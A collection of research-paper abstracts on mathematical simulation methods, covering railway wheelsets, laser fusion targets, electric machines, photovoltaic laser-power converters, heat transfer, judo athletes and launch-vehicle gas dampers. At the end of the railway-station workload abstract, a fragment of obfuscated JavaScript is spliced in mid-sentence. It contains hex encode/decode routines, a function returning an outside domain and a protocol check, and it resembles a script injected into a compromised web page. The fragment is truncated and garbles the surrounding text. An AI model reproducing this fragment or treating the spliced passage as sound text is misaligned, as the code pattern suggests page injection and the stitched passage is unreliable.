Mathematical Simulation Methods Research Articles

MATHEMATICAL MODEL OF WHEELSET OSCILLATIONS WITH INDEPENDENT WHEEL ROTATION IN THE HORIZONTAL PLANE

Purpose. The work is devoted to the study of horizontal oscillation and the assessment of the motion stability of a single wheelset with independent wheel rotation, and to the comparison of stability indicators of the typical wheelset and the wheelset with independent wheel rotation. This is connected with the necessity to increase traffic speed of rolling stock, improve road safety and comfort of passengers. Methodology. To achieve this purpose we used the methods of mathematical simulation of railway rolling stock dynamics, as well as the linear algebra methods to assess the stability of solutions of the linear homogeneous differential equations. Findings. To solve the set task the design model of a single wheelset with independent wheel rotation was created. The wheelset is not a single solid body; each of the wheelset axles has a surplus degree of freedom. Thus, we obtained the system with 4 degrees of freedom. The design model allowed to obtain the system of linear homogeneous differential equations describing the oscillations of the represented wheelset in a horizontal plane on a straight track section. On the basis of the computer modeling were calculated the eigenvalues of the differential equation system coefficients and the asymptotic stability analysis of the wheelset motion with independent wheel rotation. The increment and the frequency of fluctuations were compared with similar indicators for the standard wheelset. The authors also discussed non-oscillatory forms of the wheelset motion and the issues of wheelset self-centering on the track. Originality. The result of the work is the mathematical model of the sinuous movement of a single wheelset, in two-dimensional formulation, with independent wheel rotation and the estimate of the dynamic indices during its motion on a straight track section without any irregularities. There were also proposed the ways to ensure the self-centering on the track of the wheelset with independent wheel rotation. Practical value. The developed mathematical model of the single wheelset motion with independent wheel rotation can be used to create the advanced designs of railway running gear of cars.

Simulation of a thermonuclear target drive at the 1 MJ laser energy level

The objective of this study was by use of mathematical simulation methods to create an opportunity of a thermonuclear target (kf) gain of the order of 1 at the 1 MJ laser energy level. The calculations were performed in two codes with a comparison of their results. It is shown that in the direct drive mode it is possible to obtain a neuron yield an order higher than that obtained in experiments on the NIF (LLNL, the United States) installation in the indirect drive target.

Mathematical simulation of a high-speed single-phase machine with alternating current direction

A new design of a single-phase flux reversal machine (FRM) and a procedure of mathematical simulation of the FRM are described in this article. Technical features of the FRM (such as efficiency, specific power, and specific torque) that are close to those of synchronous motors with magnets on the rotor have greater reliability for high speed applications. The main advantages of an FRM involve the absence of permanent magnets or electric conductors on a rotating rotor and their being positioned on a stator. The new design of a single-phase FRM consists of a rotor with four teeth and a stator with four teeth and a magnetic system. The magnetic system on the stator teeth surface has two magnets on each stator tooth and generates two magnetic poles on each one. The adjacent poles on the adjacent teeth of stator are similar. The total angular size of new design is slightly less than the perimeter of the circle. Therefore, the stator surface is much better used (unlike the prototype), which results in an increase in the specific power and power efficiency, as well as a decrease in the cost of the FRM. A method for mathematical simulation of an FRM that is based upon solving magnetostatic problems with common geometry is proposed. Different positions of the rotor are simulated by joining boundary conditions. The method allows one to determine the electric losses in steel and magnets in postprocessing.

A simulation mathematical model of a traction transformer with tapped secondary windings

This paper deals with the problem of accounting for changes in the magnetic flux leakage of traction transformer windings under discrete cyclic load switching of traction winding sections during the simulation of continuous processes. It is proposed to take into account this change by introducing a fictitious mutual inductance and active components of the mutual impedance between the windings, which can be determined using the theory of a multiwinding transformer. A method for mathematical representation and computer simulation of the traction transformer with tapped secondary windings is considered based on the notation of the system of differential equations in the state space. Expressions for the calculation of the leakage inductance of the transformer windings and mutual inductances that take into account the change in the magnetic field of the winding leakage in the case of the discrete cyclic load switching of the tapped secondary windings. An algorithm for calculation of matrix elements of the equation of state is constructed. A simulation mathematical model of the traction transformer is developed in the Matlab/Simulink environment that takes into account the winding leakage field variation under discrete cyclic switching of the load of sections of traction windings. The adequacy of the proposed simulation mathematical model is proven by comparison of short-circuit currents obtained as a result of the simulation with currents of traction transformer short-circuit field tests.

Stewart platform pneumatic control system development and characteristic research

The paper presents the results of improving the Stewart platform control system by applying the second-order regulation law to pneumatic drive controllers and transformation of the actuating signal for the functioning of valves in the linear region of the flow characteristic. Methods of mathematical and numerical simulation using the software package MatLab/Simulink and AMESim are used to analyze the sufficiency of the measures proposed. Special attention is given to the analysis of the pneumatic drive dynamic characteristics. Dynamic characteristics of the pneumatic drive control system incorporated in the Stewart platform are calculated, which show the efficiency of the proposed methods of improvement. If the pneumatic drive is used as part of the Stewart platform the load in the output component can reach hundreds of kilograms, which makes it possible to use it both for dynamic tests of the systems and for positioning objects, for instance, mobile simulators.

TO THE QUESTION OF RESEARCH OF PROCESSES OF HEAT EXCHANGE AT PRE-START COOLING DOWN THE SERVICE TUBES PU UPPER BLOCK LV

The paper presents the study of heat transfer processes during prelaunch decreasing expenditure highways propulsion units (PU) upper stage (US) launch vehicles (LV) and cryogenic systems of the test bench (TB). Based on the consideration of the equations of conservation of mass and energy as applied to gas-cushion tank and the volume of the tank is filled with cryogenic fluid, the methods of mathematical simulation of processes of cooling. According to the results of bench and flight tests control coefficients are specified closing dependences on heat transfer and friction in heat capacity of the elements. TB and PU. The results of calculation and experimental studies of the processes of cooling consumable hydrogen and oxygen arteries obtained at bench and flight tests of RB, can be used for verification of computer models calculate during cryogenic systems TB and PU.

Impact of roof shape on air pressure, wind flow and indoor temperature of residential buildings

AbstractThe aim of this study is to investigate different roof shapes with respect to air flow and indoor temperature in order to find efficient roof shapes for residential buildings in Tehran, Iran. First, an analytical model is defined and then various roof types are modelled. Theoretical modelling is presented to assess the accuracy of the measurement procedures and the uncertainty of experimental modelling. Mathematical and computational field dynamics (CFD) modelling and simulation methods are applied; a κ-e standard model and finite difference discretisation technique are used to simulate the velocity and pressure path lines as well as the temperature. The results indicate that the energy performance of a domed roof is more efficient compared to flat, vaulted and pitched roofs. In the case of indoor temperature, a domed roof is about 8 K cooler. Also, the wind flow pattern around domed and pitched roofs is more complex; differences in the wind velocity and pressure are noticeable compared to the oth...

Influence of the Dislocation Density on the Expansion Dynamics of the Crystallographic Slip Zone along Screw Orientations in Aluminum and Copper

Crystallographic slip is one of key mechanisms determining plastic form change of crystalline solids. Despite a large amount of works done on the subject, crystallographic slip is a very difficult subject to study. Significant progress in the study of the crystallographic slip process is possible only with the use of a set of different methods: experimental methods, methods of mathematical modeling and simulation. The paper presents a modification mathematical expansion model of closed dislocations emitted by one dislocation source with takes into account the elastic interaction force among all dislocations of the forming dislocation pile-up. The model takes into account the Peach-Koehler forces, lattice, impurity, and dislocation friction, linear tension, viscous deceleration, and the intensity of generation of point defects beyond jogs on the dislocation, as well as the elastic interaction force among all dislocations of the forming dislocation pile-up. The analysis of the study results on the expansion dynamics of the dislocation loop along the screw orientation on copper and aluminum with varying of the dislocation density from 3×1011 m−2 to 1012 m−2 is carried out. It is established that the length and the path time of the screw dislocation, as well as the number of dislocations emitted by the dislocation source, essentially depend on the density of dislocations. The dependence of the current radius, velocity, and kinetic energy of the screw dislocation on the path time and the dependence of the current velocity and the kinetic energy of the first screw dislocation emitted by the dislocation source on its current radius are described.

Research of statistical distributing of remaining rejections at different approaches to digital simulation of relief

The object of research is the earth relief, as the subject of research – methods and parameters of digital simulation. The aim is to study various methods of mathematical simulation for the DEM residual deviations on control points. It is proposed to establish the adequacy of the constructed model with real data for the analysis of residual deviations

Improving of vibration resistance by boring on turning lathes

This paper discusses the possibility of improving the quality of the machined surface by boring on the turning lathes due to the use of the tool system, which allows to reduce the level of vibration in the machining process. The methods of mathematical and three-dimensional simulation and strength analysis by finite element method are applied in the study. The proposed technique allowed us to obtain the mathematical model of vibratory displacement of the top of the boring cutter as the result of the action of variable forces and to develop a tool system design for reducing the vibration amplitude of the cutting tool by boring process. The results of the research can be used in metal working when boring holes of sufficiently large diameter with large overhangs on turning lathes. The proposed technical solution allows to reduce the level of vibration during boring process, that gives the opportunity to improve the quality of the machined surface and reduce the wear of the cutting tool.

Justification of a Rational Design of the Pivot Center of the Open-top Wagon Frame by means of Computer Simulation

The study of the strength and fatigue life of a welded load-bearing structure of the open-top wagon body was carried out by methods of mathematical simulation. The causes of occurrence of crack-like defects in the pivot center of the wagon were detected. Options to improve the load-bearing structure of the pivot center of newly manufactured open-top wagons and repaired wagons with defects were proposed. For the modified design of the open-top wagon pivot center conception complex calculations were made that confirmed its efficiency.

Simulation of the ohmic loss in photovoltaic laser-power converters for wavelengths of 809 and 1064 nm

The method of mathematical simulation is used to examine the influence exerted by the characteristics of the epitaxial structure and contact grid of photovoltaic laser-power converters on their ohmic loss. The maximum attainable photoconverter efficiency at a Gaussian distribution of the laser-beam intensity on the surface of a photovoltaic converter and at dark-current densities of p–n junctions typical of structures grown by the metal-organic vapor-phase epitaxy (MOVPE) technique are determined. An approach to finding the optimal parameters of GaAs and In0.24Ga0.76As/GaAs photovoltaic converters in relation to the optical power being converted is suggested, and the structural parameters for incident-power values of 5, 20, and 50 W at wavelengths of 809 and 1064 nm are determined. It is found that, at laser-light intensities of up to 5 W, >60% efficiency can be achieved in laser-light conversion at a wavelength of 809 nm and >55% efficiency, at a wavelength of 1064 nm.

Simulation of the characteristics of InGaAs/InP-based photovoltaic laser-power converters

A method for mathematical simulation is used to analyze the efficiencies attainable in photovoltaic laser-power conversion at wavelengths of 1.3 and 1.55 μm in In0.53Ga0.47As/InP heterostructures with light input on the side of the n-InP substrate. The influence exerted on the efficiency by the parameters of the In0.53Ga0.47As/InP heterostructure and by the design of the photovoltaic laser-power converter is examined. The simulated characteristics of In0.53Ga0.47As/InP photovoltaic converters are compared with those of GaAs-based photovoltaic converters for a wavelength of 809 nm. It is shown that efficiencies of 40% at a wavelength of 1.3 μm and nearly 50% at 1.55 μm can be attained at a laser power of about 2–6 W, but the efficiency noticeably decreases at higher laser-light intensities. It is found that the main factor that hinders the achievement of a high efficiency in the conversion of high-intensity laser light is loss in the n-InP substrate. The optimal doping level of n-InP substrates to be used in the photovoltaic converters intended for varied laser-light intensities is estimated.

Conception of Effective Number of Lanes as Basis of Traffic Optimization

This article describes the methods of mathematical modeling and simulation of processes of local interaction in transport systems. Described transport flow models, developed by the author, based on extension of the microscopic Treiber's model and on the queuing theory. These models cover more details of behavior of flow participants on signal-controlled crossroads. modification. The article describes a model of traffic on the ring road.

Anti-radiation of space triple-junction solar cell based on distributed Bragg reflector structure

At present, solar cells are the main sources for spacecrafts. For a long time the bulk of the space power installations has been the solar arrays based on single junction silicon and gallium arsenide solar cells. In recent years a trend has been the active use of triple-junction GaAs solar cell with higher efficiency instead of single junction solar cells. One of the most important characteristics of solar cells used in spacecrafts is the resistance to radiation damages caused by high energy particles of the near-Earth space. According to the spectral response of triple-junction GaAs solar cell and the damage characteristics of the current under the condition of electron irradiation, the physical mechanism of cell attenuation can be determined: the current degradation originates mainly from the GaInAs subcells. These damages form additional centers of nonradiative recombination, which results in the reduction of the minority charge carrier diffusion lengths and in degradation of the solar cells photocurrent.The radiation damage caused by the electron irradiation will shorten the diffusion length of the base region and affect the collection of photo generated carriers. The ways of improving absorption of long wavelength light in GaInAs subcells with a thin base in using the distributed Bragg reflector can be investigated by the mathematical simulation method based on calculating the light propagation in a multilayer structure by means of the TFCalc software which can design optical structure. To estimate the validity of these methods for solar cells structures with distributed Bragg reflector, the spectral dependences of the photoresponse and the reflection coefficient with different base thickness values are calculated and compared with experimental results. Based on the physical mechanism of the degradation, the thickness of middle subcell base layer is reduced, and an appropriate structure of the distributed Bragg reflector is simulated by the TFCalc software. As a result, the new structure solar cells are that the thickness of the base layer is 1.5 m compared with the different middle subcell thickness values, and the distributed Bragg reflector structure with 15 paris of the Al0.1Ga0.9As/Al0.9Ga0.1As with 850 nm central wavelength is embedded in the middle subcell of the base layer, the distributed Bragg reflector has a highest reflectivity of more than 97% in the actual test, and a bandwidth of 94 nm, which can satisfy design requirement. After irradiating the new structure of solar cells, the decay of its short-circuited current is reduced by 50% compared with that of the original structure, and the remaining efficiency factor is increased by 2.3%.

Heat Transfer While Incorporating Metal Particles in a Melting Support Plate

The work defines and solves the heat transfer problem for “particle – support plate” system heated to high temperatures by means of mathematical simulation methods. In the course of the formulated problem, the numerical studies were carried out under conditions of a high density of the particle material in comparison with the support plate material.

Determination of sportsmen’s individual characteristics with the help of mathematical simulation and methods of multi-dimensional analysis

Purpose: to create the most general mathematical models for determination of sportsmen’s individual motor abilities’ characteristics and individual features of qualified judo wrestlers’ fighting style. Material: in the research 22 sportsmen - judo wrestlers of average weight categories (60-81 kg) participated. Results: model, on the base of which it becomes possible to determine individual characteristics of sportsmen, has been found. With the help of factorial 4 main factors analysis of judo wrestlers’ complex fitness have been marked out. Cluster analysis of judo wrestlers’ testing indicators showed that all tested sportsmen could be divided in 3 groups (clusters). Conclusions: the received results witness about effectiveness of mathematical simulation methods, as well as methods of factorial and cluster analysis for determination of individual fighting styles of elite judo wrestlers. In their practical work coaches should apply principles of mathematical simulation for determination of individual features of fighting styles and work out methodic of judo wrestlers’ individual training.

DETERMINATION OF CALCULATED VOLUMES OF WORK FOR RAILWAY STATIONS IN THE CONDITION OF CARS FLOW CHANGING

Purpose. The article focused on perfection improvement of estimation methods of railheads accordance of technical equipment to the forecast volumes of work by account of structure traffic volumes changes and technology of it’s treatment in time. Methodology. As research methods used methods of mathematical statistics (methods of analysis of temporal rows) and methods of mathematical simulation. Results. It is set as a result of research, that for the stations, processing heterogeneous traffic volumes, and for the stations with seasonal technology during a year could be a few calculation periods, requiring verification of accordance of technical equipment to the volumes of work. On the basis of methods of analysis of temporal rows and methods of mathematical simulation the method of search of characteristic periods is developed to work of the station, requiring verification by functional models. Scientific novelty. The work consists of perfection of estimation methods of calculation volumes of work of railheads which, take into account the presence of peak-loads on the different subsystems of the station in different periods of time. Practical meaningfulness. Proposed methodology allows to inverse quality of estimation of technical equipment accordance and technology of railheads for its forecast volumes of work.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return tstt.diit.edu.ua},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(http)==0){return p}for(var e=0;e

Simulation of the control process applied to the micromechanical device with the shape memory effect

It has recently been proved that, in alloys, e.g., based on the Ti–Ni system, a shape memory effect (SME) is preserved down to the nanoscale sizes of an active alloy layer and demonstrated ultrasmall-sized and fully functional microand nanomechanical devices: actuators and nanotweezers that are fabricated via standard microelectronic technologies relying on composite materials with the SME. In the nearest future, such achievements will enable the creation of the next-generation microand nanomechanical devices whose sizes are quite comparable with those inherent to, e.g., carbon nanotubes, graphene sheets, viruses, etc. Mathematical simulation methods are used to study how the shape-memory micromechanical devices can be activated by means of resistive pulse heating. A decrease in the overall sizes of heating elements (from 1 mm to 10 μm) is demonstrated to be accompanied by the fact that the speed of operation increases sharply from 102 to 105 s–1 and, simultaneously, the energy consumption diminishes from 10–3 to 10–8 J per operation. The preliminary results of experiments whereby the control of the composite nanotweezer exhibiting the SME is perfected with the help of the automatic pulsed heating technology, as well as the prospects for creating high-speed and high-performance microrobotic systems incorporating newly developed components, are discussed.

Study of characteristics of the launch vehicle fuel line gas damper

Ensuring the longitudinal stability and quality of regulation of a liquid-propellant launch vehicle is very important in its development and operation. It is known that the use of gas dampers installed in the feed line is one of the effective ways to provide longitudinal stability of a launch vehicle. Correct choice of damper characteristics makes it possible to eliminate the possibility of coinciding of the natural frequencies of oscillations of pressure of the liquid in the feed line and in the launch vehicle body and thus to ensure the longitudinal stability. Methods of mathematical and numerical simulation are applied for the analysis of gas damper characteristics using the software package MatLab/Simulink and AMESim. The paper presents a mathematical model of the gas damper, its transient and frequency responses are analyzed. The acoustic conductance of the gas damper is calculated as its generalized dynamic characteristics. Variations of volume are plotted as a function of liquid pressure at the damper inlet in case of harmonic oscillations. The developed model of the gas damper can be used in analyzing the frequency response of the fuel feed line in the framework of solving the problem of ensuring the longitudinal stability of a launch vehicle.